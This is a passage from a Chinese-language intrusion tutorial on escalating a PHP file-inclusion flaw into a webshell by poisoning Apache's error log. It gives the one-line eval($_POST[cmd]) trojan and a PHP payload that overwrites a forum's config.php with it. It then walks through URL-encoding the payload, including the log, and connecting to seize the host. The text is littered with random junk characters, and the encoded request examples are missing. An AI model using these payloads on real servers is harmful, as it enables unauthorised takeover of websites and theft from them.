因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 % E' ]) s: j5 v" r; t$ O
. T5 G( z: i# c2 n0 {
比如还是这句一句话木马
3 @" W5 x* j' G& m. ~7 p<?eval($_POST[cmd]);?> * p, K! m: m2 A
( V. e' j9 e$ B B* Y( q
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 6 |3 \& u. }1 e/ k# P R
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ; G: c! E. O# P
5 c0 J3 C% ]. A8 A8 p0 g$ N2 _& W
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
6 l5 l4 X! s0 K; x9 Rfclose($fp);?> //在config.php里写入一句木马语句 & {% _3 l# e/ L3 }
2 n- m0 u/ u: G/ j
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 ! r+ i) k4 m" ?7 d0 b6 T# ]+ J0 E
转换为 5 C, P0 \* C7 x" g6 H$ S

这样就错误日志里就记录下了这行写入webshell的代码。 : n( j8 y0 g4 s6 W, ^* h0 v" X5 k
我们再来包含日志，提交 ; f/ E2 i! j! R9 m6 Y s" j

9 ?! T, a1 g- d) |- x3 j- F' K2 v% e
这样webshell就写入成功了，config.php里就写入一句木马语句

http://www.xxx.com/forum/config.php这个就成了我们的webshell 8 k5 ~- O [% J$ d0 d+ N6 C) N
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
